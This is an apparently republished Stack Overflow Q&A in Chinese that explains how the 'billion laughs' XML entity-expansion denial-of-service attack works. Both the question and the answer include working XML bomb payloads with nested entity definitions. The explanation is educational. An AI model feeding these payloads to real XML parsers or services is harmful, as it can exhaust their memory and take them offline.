gpt4 book ai didi

xml - billion laughs XML DoS 攻击是如何工作的?

转载 作者:数据小太阳 更新时间:2023-10-29 01:37:08 27 4
gpt4 key购买 nike

<!DOCTYPE root [
<!ENTITY ha "Ha !">
<!ENTITY ha2 "&ha; &ha;">
<!ENTITY ha3 "&ha2; &ha2;">
<!ENTITY ha4 "&ha3; &ha3;">
<!ENTITY ha5 "&ha4; &ha4;">
...
<!ENTITY ha128 "&ha127; &ha127;">
]>
<root>&ha128;</root>

据说这被称为十亿笑声 DoS 攻击。

有人知道它是如何工作的吗?

最佳答案

Billion Laughs 攻击是一种针对 XML 解析器的拒绝服务攻击。 Billion Laughs 攻击也称为 XML 炸弹,或更深奥地称为指数实体扩展攻击。即使使用格式正确的 XML 也可能会发生 Billion Laughs 攻击,并且还可以通过 XML 模式验证。

普通的 Billion Laughs 攻击在下面的 XML 文件中进行了说明。

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

在这个例子中,有 10 个不同的 XML 实体,lollol9。第一个实体 lol 被定义为字符串 “lol”。但是,每个其他实体都定义为另一个实体的 10 个。此 XML 文件的文档内容部分仅包含对实体 lol9 的一个实例的引用。但是这个在被DOM或者SAX解析器解析的时候,遇到lol9的时候,会展开成10个lol8,每一个展开成10个lol7s,等等等等。当所有内容都展开为文本 lol 时,字符串 "lol" 有 100,000,000 个实例。如果还有一个实体,或者 lol 被定义为 10 个 “lol” 字符串,就会有十亿个“lol”,攻击的名称由此而来。不用说,如此多的扩展会消耗指数级的资源和时间,从而导致 DOS。

我的 blog 上有更详尽的解释.

关于xml - billion laughs XML DoS 攻击是如何工作的?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/3451203/

27 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com